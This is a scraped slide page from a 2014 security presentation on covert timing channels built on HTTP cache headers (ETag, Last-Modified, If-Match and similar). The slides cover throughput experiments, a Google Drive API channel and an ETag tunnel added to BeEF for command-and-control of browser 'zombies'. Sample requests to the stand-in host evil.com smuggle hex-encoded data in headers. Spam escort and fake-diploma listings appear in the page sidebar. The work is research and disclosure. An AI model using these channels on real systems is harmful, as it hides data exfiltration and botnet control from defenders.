Разработка и реализация мандатного механизма управления доступом в СУБД MySQL...Разработка и реализация мандатного механизма управления доступом в СУБД MySQL...
Разработка и реализация мандатного механизма управления доступом в СУБД MySQL...
 
О построении иерархического ролевого управления доступом (SibeCrypt 2012)
О построении иерархического ролевого управления доступом (SibeCrypt 2012)О построении иерархического ролевого управления доступом (SibeCrypt 2012)
О построении иерархического ролевого управления доступом (SibeCrypt 2012)
 
Разработка и реализация механизма мандатного управления доступом в СУБД MySQL...
Разработка и реализация механизма мандатного управления доступом в СУБД MySQL...Разработка и реализация механизма мандатного управления доступом в СУБД MySQL...
Разработка и реализация механизма мандатного управления доступом в СУБД MySQL...
 

Recently uploaded

75539-Cyber Security Challenges PPT.pptx
75539-Cyber Security Challenges PPT.pptx75539-Cyber Security Challenges PPT.pptx
75539-Cyber Security Challenges PPT.pptxAsmae Rabhi
 
"Boost Your Digital Presence: Partner with a Leading SEO Agency"
"Boost Your Digital Presence: Partner with a Leading SEO Agency""Boost Your Digital Presence: Partner with a Leading SEO Agency"
"Boost Your Digital Presence: Partner with a Leading SEO Agency"growthgrids
 
Top profile Call Girls In Dindigul [ 7014168258 ] Call Me For Genuine Models ...
Top profile Call Girls In Dindigul [ 7014168258 ] Call Me For Genuine Models ...Top profile Call Girls In Dindigul [ 7014168258 ] Call Me For Genuine Models ...
Top profile Call Girls In Dindigul [ 7014168258 ] Call Me For Genuine Models ...gajnagarg
 
best call girls in Hyderabad Finest Escorts Service 📞 9352988975 📞 Available ...
best call girls in Hyderabad Finest Escorts Service 📞 9352988975 📞 Available ...best call girls in Hyderabad Finest Escorts Service 📞 9352988975 📞 Available ...
best call girls in Hyderabad Finest Escorts Service 📞 9352988975 📞 Available ...kajalverma014
 
Russian Escort Abu Dhabi 0503464457 Abu DHabi Escorts
Russian Escort Abu Dhabi 0503464457 Abu DHabi EscortsRussian Escort Abu Dhabi 0503464457 Abu DHabi Escorts
Russian Escort Abu Dhabi 0503464457 Abu DHabi EscortsMonica Sydney
 
Meaning of On page SEO & its process in detail.
Meaning of On page SEO & its process in detail.Meaning of On page SEO & its process in detail.
Meaning of On page SEO & its process in detail.krishnachandrapal52
 
pdfcoffee.com_business-ethics-q3m7-pdf-free.pdf
pdfcoffee.com_business-ethics-q3m7-pdf-free.pdfpdfcoffee.com_business-ethics-q3m7-pdf-free.pdf
pdfcoffee.com_business-ethics-q3m7-pdf-free.pdfJOHNBEBONYAP1
 
Russian Call girls in Abu Dhabi 0508644382 Abu Dhabi Call girls
Russian Call girls in Abu Dhabi 0508644382 Abu Dhabi Call girlsRussian Call girls in Abu Dhabi 0508644382 Abu Dhabi Call girls
Russian Call girls in Abu Dhabi 0508644382 Abu Dhabi Call girlsMonica Sydney
 
Trump Diapers Over Dems t shirts Sweatshirt
Trump Diapers Over Dems t shirts SweatshirtTrump Diapers Over Dems t shirts Sweatshirt
Trump Diapers Over Dems t shirts Sweatshirtrahman018755
 
Vip Firozabad Phone 8250092165 Escorts Service At 6k To 30k Along With Ac Room
Vip Firozabad Phone 8250092165 Escorts Service At 6k To 30k Along With Ac RoomVip Firozabad Phone 8250092165 Escorts Service At 6k To 30k Along With Ac Room
Vip Firozabad Phone 8250092165 Escorts Service At 6k To 30k Along With Ac Roommeghakumariji156
 
APNIC Policy Roundup, presented by Sunny Chendi at the 5th ICANN APAC-TWNIC E...
APNIC Policy Roundup, presented by Sunny Chendi at the 5th ICANN APAC-TWNIC E...APNIC Policy Roundup, presented by Sunny Chendi at the 5th ICANN APAC-TWNIC E...
APNIC Policy Roundup, presented by Sunny Chendi at the 5th ICANN APAC-TWNIC E...APNIC
 
Best SEO Services Company in Dallas | Best SEO Agency Dallas
Best SEO Services Company in Dallas | Best SEO Agency DallasBest SEO Services Company in Dallas | Best SEO Agency Dallas
Best SEO Services Company in Dallas | Best SEO Agency DallasDigicorns Technologies
 
Nagercoil Escorts Service Girl ^ 9332606886, WhatsApp Anytime Nagercoil
Nagercoil Escorts Service Girl ^ 9332606886, WhatsApp Anytime NagercoilNagercoil Escorts Service Girl ^ 9332606886, WhatsApp Anytime Nagercoil
Nagercoil Escorts Service Girl ^ 9332606886, WhatsApp Anytime Nagercoilmeghakumariji156
 
APNIC Updates presented by Paul Wilson at ARIN 53
APNIC Updates presented by Paul Wilson at ARIN 53APNIC Updates presented by Paul Wilson at ARIN 53
APNIC Updates presented by Paul Wilson at ARIN 53APNIC
 
Power point inglese - educazione civica di Nuria Iuzzolino
Power point inglese - educazione civica di Nuria IuzzolinoPower point inglese - educazione civica di Nuria Iuzzolino
Power point inglese - educazione civica di Nuria Iuzzolinonuriaiuzzolino1
 
PowerDirector Explination Process...pptx
PowerDirector Explination Process...pptxPowerDirector Explination Process...pptx
PowerDirector Explination Process...pptxgalaxypingy
 
哪里办理美国迈阿密大学毕业证(本硕)umiami在读证明存档可查
哪里办理美国迈阿密大学毕业证(本硕)umiami在读证明存档可查哪里办理美国迈阿密大学毕业证(本硕)umiami在读证明存档可查
哪里办理美国迈阿密大学毕业证(本硕)umiami在读证明存档可查ydyuyu
 
Story Board.pptxrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr
Story Board.pptxrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrStory Board.pptxrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr
Story Board.pptxrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrHenryBriggs2
 
20240510 QFM016 Irresponsible AI Reading List April 2024.pdf
20240510 QFM016 Irresponsible AI Reading List April 2024.pdf20240510 QFM016 Irresponsible AI Reading List April 2024.pdf
20240510 QFM016 Irresponsible AI Reading List April 2024.pdfMatthew Sinclair
 
Indian Escort in Abu DHabi 0508644382 Abu Dhabi Escorts
Indian Escort in Abu DHabi 0508644382 Abu Dhabi EscortsIndian Escort in Abu DHabi 0508644382 Abu Dhabi Escorts
Indian Escort in Abu DHabi 0508644382 Abu Dhabi EscortsMonica Sydney
 

Recently uploaded (20)

75539-Cyber Security Challenges PPT.pptx
75539-Cyber Security Challenges PPT.pptx75539-Cyber Security Challenges PPT.pptx
75539-Cyber Security Challenges PPT.pptx
 
"Boost Your Digital Presence: Partner with a Leading SEO Agency"
"Boost Your Digital Presence: Partner with a Leading SEO Agency""Boost Your Digital Presence: Partner with a Leading SEO Agency"
"Boost Your Digital Presence: Partner with a Leading SEO Agency"
 
Top profile Call Girls In Dindigul [ 7014168258 ] Call Me For Genuine Models ...
Top profile Call Girls In Dindigul [ 7014168258 ] Call Me For Genuine Models ...Top profile Call Girls In Dindigul [ 7014168258 ] Call Me For Genuine Models ...
Top profile Call Girls In Dindigul [ 7014168258 ] Call Me For Genuine Models ...
 
best call girls in Hyderabad Finest Escorts Service 📞 9352988975 📞 Available ...
best call girls in Hyderabad Finest Escorts Service 📞 9352988975 📞 Available ...best call girls in Hyderabad Finest Escorts Service 📞 9352988975 📞 Available ...
best call girls in Hyderabad Finest Escorts Service 📞 9352988975 📞 Available ...
 
Russian Escort Abu Dhabi 0503464457 Abu DHabi Escorts
Russian Escort Abu Dhabi 0503464457 Abu DHabi EscortsRussian Escort Abu Dhabi 0503464457 Abu DHabi Escorts
Russian Escort Abu Dhabi 0503464457 Abu DHabi Escorts
 
Meaning of On page SEO & its process in detail.
Meaning of On page SEO & its process in detail.Meaning of On page SEO & its process in detail.
Meaning of On page SEO & its process in detail.
 
pdfcoffee.com_business-ethics-q3m7-pdf-free.pdf
pdfcoffee.com_business-ethics-q3m7-pdf-free.pdfpdfcoffee.com_business-ethics-q3m7-pdf-free.pdf
pdfcoffee.com_business-ethics-q3m7-pdf-free.pdf
 
Russian Call girls in Abu Dhabi 0508644382 Abu Dhabi Call girls
Russian Call girls in Abu Dhabi 0508644382 Abu Dhabi Call girlsRussian Call girls in Abu Dhabi 0508644382 Abu Dhabi Call girls
Russian Call girls in Abu Dhabi 0508644382 Abu Dhabi Call girls
 
Trump Diapers Over Dems t shirts Sweatshirt
Trump Diapers Over Dems t shirts SweatshirtTrump Diapers Over Dems t shirts Sweatshirt
Trump Diapers Over Dems t shirts Sweatshirt
 
Vip Firozabad Phone 8250092165 Escorts Service At 6k To 30k Along With Ac Room
Vip Firozabad Phone 8250092165 Escorts Service At 6k To 30k Along With Ac RoomVip Firozabad Phone 8250092165 Escorts Service At 6k To 30k Along With Ac Room
Vip Firozabad Phone 8250092165 Escorts Service At 6k To 30k Along With Ac Room
 
APNIC Policy Roundup, presented by Sunny Chendi at the 5th ICANN APAC-TWNIC E...
APNIC Policy Roundup, presented by Sunny Chendi at the 5th ICANN APAC-TWNIC E...APNIC Policy Roundup, presented by Sunny Chendi at the 5th ICANN APAC-TWNIC E...
APNIC Policy Roundup, presented by Sunny Chendi at the 5th ICANN APAC-TWNIC E...
 
Best SEO Services Company in Dallas | Best SEO Agency Dallas
Best SEO Services Company in Dallas | Best SEO Agency DallasBest SEO Services Company in Dallas | Best SEO Agency Dallas
Best SEO Services Company in Dallas | Best SEO Agency Dallas
 
Nagercoil Escorts Service Girl ^ 9332606886, WhatsApp Anytime Nagercoil
Nagercoil Escorts Service Girl ^ 9332606886, WhatsApp Anytime NagercoilNagercoil Escorts Service Girl ^ 9332606886, WhatsApp Anytime Nagercoil
Nagercoil Escorts Service Girl ^ 9332606886, WhatsApp Anytime Nagercoil
 
APNIC Updates presented by Paul Wilson at ARIN 53
APNIC Updates presented by Paul Wilson at ARIN 53APNIC Updates presented by Paul Wilson at ARIN 53
APNIC Updates presented by Paul Wilson at ARIN 53
 
Power point inglese - educazione civica di Nuria Iuzzolino
Power point inglese - educazione civica di Nuria IuzzolinoPower point inglese - educazione civica di Nuria Iuzzolino
Power point inglese - educazione civica di Nuria Iuzzolino
 
PowerDirector Explination Process...pptx
PowerDirector Explination Process...pptxPowerDirector Explination Process...pptx
PowerDirector Explination Process...pptx
 
哪里办理美国迈阿密大学毕业证(本硕)umiami在读证明存档可查
哪里办理美国迈阿密大学毕业证(本硕)umiami在读证明存档可查哪里办理美国迈阿密大学毕业证(本硕)umiami在读证明存档可查
哪里办理美国迈阿密大学毕业证(本硕)umiami在读证明存档可查
 
Story Board.pptxrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr
Story Board.pptxrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrStory Board.pptxrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr
Story Board.pptxrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr
 
20240510 QFM016 Irresponsible AI Reading List April 2024.pdf
20240510 QFM016 Irresponsible AI Reading List April 2024.pdf20240510 QFM016 Irresponsible AI Reading List April 2024.pdf
20240510 QFM016 Irresponsible AI Reading List April 2024.pdf
 
Indian Escort in Abu DHabi 0508644382 Abu Dhabi Escorts
Indian Escort in Abu DHabi 0508644382 Abu Dhabi EscortsIndian Escort in Abu DHabi 0508644382 Abu Dhabi Escorts
Indian Escort in Abu DHabi 0508644382 Abu Dhabi Escorts
 

Covert Timing Channels based on HTTP Cache Headers (Special Edition for Top 10 Web Hacking Techniques of 2014)

  • 1. COVERT TIMING CHANNELS BASED ON HTTP CACHE HEADERS Denis Kolegov, Oleg Broslavsky, Nikita Oleksov F5 Networks Tomsk State University Information Security and Cryptography Department Top 10 Web Hacking Techniques of 2014 Special Edition ZeroNights (13-14 November 2014) Moscow, Russia SibeCrypt (8-13 September 2014) Ekaterinburg, Russia
  • 2. Who we are? • Denis Kolegov – Sr. security test engineer at F5 Networks – PhD, associate professor at Tomsk State University Information Security and Cryptography Department • Oleg Broslavsky – 3rd year student at Tomsk State University Information Security and Cryptography Department – Member of TSU’s SiBears Capture the Flag team • Nikita Oleksov – 3rd year student at Tomsk State University Information Security and Cryptography Department – Member of TSU’s SiBears Capture the Flag team 2
  • 3. Prologue This is a presentation of our research devoted to new covert timing channels based on HTTP cache headers We discovered previously unknown techniques and introduced them on the ZeroNights and SibeCrypt security conferences in 2014 In the current list of «Top 10 Web Hacking Techniques of 2014» there are many valuable and significant attacks and, of course, we don’t think that our work is the best. We are considering participation in 2014 Hacks as opportunity for feedback and information sharing 3
  • 4. Summary We found and investigated previously unknown covert timing channels based on main HTTP cache headers We explored different properties of these covert channels (e.g., throughput, anonymity, reliability) We implemented most efficient ETag-based covert channel in Browser Exploitation Framework (BeEF) for covert communications Also we implemented ETag-based covert timing channel providing anonymity property to attackers in Google Drive environment 4
  • 5. Introduction A covert channel is a path that can be used to transfer information in a way not intended by the system's designers (CWE-514) A covert storage channel transfers information through the setting of bits by one program and the reading of those bits by another (CWE-515) Covert timing channels conveys information by modulating some aspect of system behavior over time, so that the program receiving the information can observe system behavior and infer protected information (CWE-385) 5
  • 6. Introduction HTTP is one of the most used protocol on the Internet so detections of the covert channels over the HTTP is an important research area HTTP timing channels have received little attention in computer security The main HTTP covert timing channel throughput is equal to 1.82 bps [1]. This channel doesn’t use any HTTP mechanisms and is based on TCP/IP timing channel Server-to-Client DNS-tunnel [3] implemented in BeEF has throughput equal to 10 bit/s 6
  • 7. 7 HTTP Covert Channels’ Usage • Implementation of communication channels in targeted browsers (BeEF) • Botnet command and control channels • Key exchange in malicious software • Transferring of illegal content Introduction
  • 8. 8 RESPONSE (SERVER) HEADERS • Last-Modified • ETag REQUEST (CLIENT) HEADERS • If-Modified-Since • If-Unmodified-Since • If-Match • If-Non-Match • If-Range General HTTP Cache Headers
  • 9. 9 Covert channels can be classified as client – server channels and server – client channels Client-server covert channels are easier to implement. Server-client channels are more complicated and most of them are timing channels For example, covert storage channel via If-Range header can be implemented by the following way Directions of Covert Channels GET / HTTP/1.1 Host: evil.com If-Range: 120c7bL-32bL-4f86d4105ac62L … Hex-encoded data
  • 10. Last-Modified Response Header 10 Last-Modified HTTP header stores a date of the last web entity’s modification HTTP/1.1 200 OK Server: nginx/1.1.19 Date: Wed, 02 Apr 2014 14:33:39 GMT Content-Type: text/html Content-Length: 124 Last-Modified: Wed, 02 Apr 2014 14:33:39 GMT Connection: keep-alive (data) Request Response GET / HTTP/1.1 Host: evil.com
  • 11. ETag Response Header 11 The ETag value is formed from the hex values by he following way HTTP/1.1 200 OK Server: Apache/2.2.22 (Ubuntu) Date: Wed, 02 Apr 2014 14:33:39 GMT Content-Type: text/html Content-Length: 124 ETag: 120c7bL-32bL-4f86d4105ac62L Connection: keep-alive (data) Request Response GET / HTTP/1.1 Host: evil.com 120c7bL-32bL-4f86d4105ac62L file's inode size last-modified time (mtime)
  • 12. Common Usage of Cache Request Headers 12 HTTP cache headers allows to web-browsers not to download a page if it hasn’t been changed since the certain time Request Page has been changed HTTP/1.1 200 OK (page data) Page has not been changed HTTP/1.1 304 OK (only headers) GET / HTTP/1.1 Host: evil.com If-Modified-Since: Wed, 02 Apr 2014 14:33:39 GMT (other headers) GET / HTTP/1.1 Host: evil.com If-None-Match: 120c7bL-32bL-4f86d4105ac62L (other headers)
  • 13. Common Usage of Cache Request Headers 13 Second pair of headers does the same as previous but with logically inverse condition Request Page has been changed HTTP/1.1 412 OK (page data) Page has not been changed HTTP/1.1 200 OK (only headers) GET / HTTP/1.1 Host: evil.com If-Unmodified-Since: Wed, 02 Apr 2014 14:33:39 GMT (other headers) GET / HTTP/1.1 Host: evil.com If-Match: 120c7bL-32bL-4f86d4105ac62L (other headers)
  • 14. DFD Threat Model 14 read write writet Server page.html Zombie read writet read write 2 different threat models Web server is fully controlled by an attacker Payload -- read-only page.html -- write-only Web server is not controlled by an attacker write Trusted Boundaries
  • 15. General Covert Channels Scheme 15 HTTP request Get new header value Received ‘1’ If the header was changed Store header value Received ‘0’ Wait n seconds then else
  • 16. 16 RESPONSE (SERVER) HEADERS • Last-Modified • ETag REQUEST (CLIENT) HEADERS • If-Modified-Since • If-Unmodified-Since • If-Match • If-Non-Match • If-Range General HTTP Cache Headers
  • 17. Last-Modified Based Channels 17 HTTP request Get Last-Modified header value Received ‘1’ If the header value was changed Store header value Received ‘0’ Wait n seconds then else Last-Modified header value covert channel Last-Modified: Wed, 02 Apr 2014 14:33:39 GMT
  • 18. Classification 18 Covert Timing Channels based on HTTP-date entities • Based on Last-Modified header • Based on If-Modified-Since header • Based on If-Unmodified-Since header Covert Timing Channels based on ETag entities • Based on ETag header • Based on If-Match header • Based on If-None-Match header
  • 19. Last-Modified based Channel 19 Zombie requests page.html and receives the HTTP response that contains initial Last-Modified value HTTP- date0 Server performs read or write access to the page.html To obtain 1 bit of information Zombie request page.html again and compares the new Last-Modified value HTTP- date1 with the old one If HTTP-date1 and HTTP-date0 is not the same, so the Server has sent 1, otherwise Server has sent 0
  • 20. If-Modified-Since based Channel 20 Covert channel based If-Modified-Since header If-Modified-Since: Wed, 02 Apr 2014 14:33:39 GMT If-Modified request Received ‘1’ If HTTP code is “200” Store header value Received ‘0’ Wait n secondsthen else
  • 21. If-Unmodified-Since based Channel 21 If-Unmodified request Received ‘1’ If HTTP code is “412” Store header value Received ‘0’ Wait n secondsthen else Covert channel based on If-Unmodified-Since header If-Unmodified-Since: Wed, 02 Apr 2014 14:33:39 GMT
  • 22. ETag based Channel 22 Zombie requests page.html and receives the HTTP response that contains initial ETag value entity-tag0 Server performs read or write access to the page.html To obtain 1 bit of information Zombie request page.html again and compares the new ETag value entity-tag1 If entity-tag1 and entity-tag0 is not the same, so the Server has sent 1, otherwise Server has sent 0
  • 23. ETag based Channel 23 Covert channel based on ETag header ETag: 120c7bL-32bL- 4f86d4105ac62L HTTP request Get ETag header value Received ‘1’ If the header value was changed Store header value Received ‘0’ Wait n seconds then else
  • 24. ETag based Channel 24 Covert channel based on If-None-Match header If-None-Match: 120c7bL-32bL- 4f86d4105ac62L If-None-Match request Received ‘1’ If HTTP code is “200” Store header value Received ‘0’ Wait n secondsthen else
  • 25. ETag based Channel 25 Covert channel based If-Match header If-Match: 120c7bL-32bL- 4f86d4105ac62L If-Match request Received ‘1’ If HTTP code is “412” Store header value Received ‘0’ Wait n secondsthen else
  • 26. Software Implementation In tons of possible ways we focused on • Python – Socket library • C++ – Boost ASIO library • С – simple C socket library We chose C due to its highest performance (among these ways) and decent stability First threat model was chosen because of its minimal requirements 26
  • 27. Issues Issue Solution Server-client synchronization Special synchronizing function Different time of requests Dynamic sleep time Lateness after sleep “Active” sleep High CPU load with “active sleep” “Dynamic” and “active” sleep combination 27 Some problems we solved during implementation
  • 28. 28 Send HTTP request Get host response If page has been changed then else Necessity of synchronization “read” (web client) and “write” (host) services Solution Synchronizing function that does requests at a maximum speed (without sleep) Issues
  • 29. 29 Different time of requests can break services synchronization Solution Dynamic sleep time equals to sleep_time – diff_time Calculate time took for request diff_time Sleep (sleep_time – diff_time) µs Issues
  • 30. 30 Inaccurate sleep - after sleep (usleep() is used) the program can awake with 10-200μs lateness Solution: Use “active sleep” - calculation time difference between last request and current moment while it is less than sleep_time Issues Calc diff_time thenelse If diff_time < sleep_time
  • 31. 31 High CPU load with “active sleep” Solution Combine “active” and “dynamic” sleep Calculate diff_time If diff_time < CONST thenelse Sleep (sleep_time – CONST – request_time) where CONST is constant about 1000 µs (or less depending on PC performance) Issues
  • 32. 32 Sleep time Min start sequence Avg sequence Max sequence Speed Accuracy 1 second 3200 bits 8848 bits 19712 bits 1bit/s 99,82% 2 seconds 3400 bits 10145 bits 22143 bits 0.5 bit/s 99,87% • C-based implementation in the first threat model • Min start sequence – minimum number of bits passed from the beginning of a conversation till the first mistake • Avg and Max sequence – number of bits passed without any mistakes in a row in average and at best • Accuracy – percent of correctly transmitted bits Experiment 1
  • 33. 33 Sleep time Min start sequence Avg sequence Max sequence Speed Accuracy 1 second 3200 bits 8848 bits 19712 bits 1bit/s 99,82% 0.5 seconds 2400 bits 8142 bits 18123 bits 2 bit/s 99,5% • C-based implementation in the first threat model • ETag contains mtime (last modified time with microsecond accuracy), so theoretical channel capacity is bigger than its practically possible one. • Maximum practical speed of the covert channels is about 1 bit per (2L+T) seconds, where L is HTTP latency between u2 and s1 and T is a time that is needed for auxiliary operations Experiment 2
  • 34. Google Drive API Anonymity Channel 34 Most of the cloud services for file hosting like Dropbox, Google Drive and others allow users to operate with files’ ETags and other cache-control headers So it is possible to implement ETag based covert timing channel in the first threat model: there are channel processes Server(attacker1) and Zombie (attacker2) on different hosts and fully trusted web server https://drive.google.com/drive/ with some file hosted on it. The only requirement for that is file should be accessible for writing by attacker1 and for reading by attacker2
  • 35. Google Drive API Anonymity Channel Covert channel’s logic is the same as before: • attacker1 sends a request to Google Drive API POST https://www.googleapis.com/drive/v2/files/fileId/touch to modify file’s last access time (and hence ETag) • attacker2 sends a request to Google Drive API GET https://www.googleapis.com/drive/v2/files/fileId to get file’s metadata (including ETag) This channel has property that provides anonymity for communications between Server and Zombie 35
  • 36. Experiment 3 36 Message length 256 bit 512 bit 1024 bit 2048 bit 4096 bit Accuracy 99.87% 99.84% 99.8% 99.8% 99.78% Average throughput 2.92 bit/s 2.9 bit/s 2.88 bit/s 2.88 bit/s 2.86 bit/s Google Drive API anonymity covert channel based on ETag header
  • 37. Advantages in the First Threat Model 37 • Anonymity • Does not modify common HTTP request structure • Does not require web-server modifications • Any read-only activity on web page that is used by the channel do not break its work • Information flow looks like something refreshes a web page every n seconds • Covert channels based on If-* headers can work even if Last-Modified or Etag are disabled
  • 38. Second Threat Model In the second threat model we can avoid necessity of client-server synchronization by waiting for the request and responding directly 38 Send new header value Send old header value If current message bit is ‘1’ Store header value then else WAIT for HTTP request
  • 39. Experiment 4 C-based client, Apache + PHP-based server 39 Header Network Average HTTP ping Speed ETag Local host 0.55 ms 986 bit/s «Digital Ocean» DC LAN 1.63 ms 845.65 bit/s LAN 6.9 ms 295.69 bit/s Internet 113.2 ms 13.09 bit/s
  • 40. Experiment 5 C-based client, Flask + Python-based server 40 Header Network Average HTTP ping Speed ETag Local host 0.55 ms 981 bit/s «Digital Ocean» DC LAN 1.63 ms 865.83 bit/s LAN 6.9 ms 293.9 bit/s Internet 103.2 ms 14.39 bit/s
  • 41. Advantages in Second Threat Model 41 • Does not modify common HTTP request structure • Information flow looks like something refreshes a web page every n seconds • Higher throughput • Reliability • Simplicity • This approach is applicable for implementation of covert channels based on HTTP cache headers in browsers
  • 42. Covert Channels in Browsers Issues • Lack of any “sleep” function • Low accuracy of existing time management functions • Difficulties with synchronization of covert channel’s server and client So implementation of the used model is pointless, but it is possible to implement covert channels in these restrictions using controlled web server in the second threat model 42
  • 43. Implementation of ETag-based covert channel in browser (client on JavaScript) 43 Experiment 6 Header Server Average HTTP ping Throughput Last-Modified 0.045 ms 70 ms 1 bit/s Last-Modified 18 ms 68 ms 1 bit/s ETag Python 66 ms 11.51 bit/s ETag PHP 72 ms 10.8 bit/s
  • 44. Covert Channels in BeEF “BeEF allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors.” The main idea was proposed in Kenton Born’s paper “Browser-based covert data exfiltration” [2] and is being used in BeEF [3] To investigate covert timing channels in browsers we implemented server-to-client DNS and ETag Tunnels using AJAX and then added them to BeEF 44
  • 45. ETag-based timing channel in BeEF 45 Issue Solution Server-client synchronization Client does special request to begin conversation End of message determination Client receive some special HTTP code in response, e.g. 404 – Not Found or 403 - Forbidden Single client communication only Open a session that stores transferring bit number for each client
  • 46. ETag-based timing channel in BeEF 46 ETag Tunnel in BeEF consists s of classic two parts • extension on Ruby, that implements server side logic via couple of web pages mounted to BeEF webserver • module on JavaScript, that is responsible for receiving information from C&C BeEF server at zombie Sources • https://github.com/beefproject/beef/tree/master/modules/i pec/etag_client • https://github.com/beefproject/beef/tree/master/extension s/etag
  • 47. Implementation of ETag-based covert channel in browser (client on JavaScript) 47 Experiment 7 Network Average ping Average HTTP ping 256 bit 1024 bit Local host 0.045 ms 0.6 ms 10.11 bit/s 9.9 bit/s Local network 18 ms 19.8 ms 10.3 bit/s 9.78 bit/s Internet 176 ms 360.9 ms 5.09 bit/s 4.97 bit/s
  • 49. Bibliography 49 1. Johnson D., Yuan Bo; Lutz P., Brown E. Covert channels in the HTTP network protocol: Channel characterization and detecting man-in-the- middle attacks. URL: https://ritdml.rit.edu/handle/1850/14797 2. Kenton Born. «Browser-based covert data exfiltration». URL: http://arxiv.org/ftp/arxiv/papers/1004/1004.4357.pdf 3. W. Alcorn, C. Frichot, M. Orru. «The Browser Hacker’s Handbook». URL: http://eu.wiley.com/WileyCDA/WileyTitle/productCd- 1118662091.html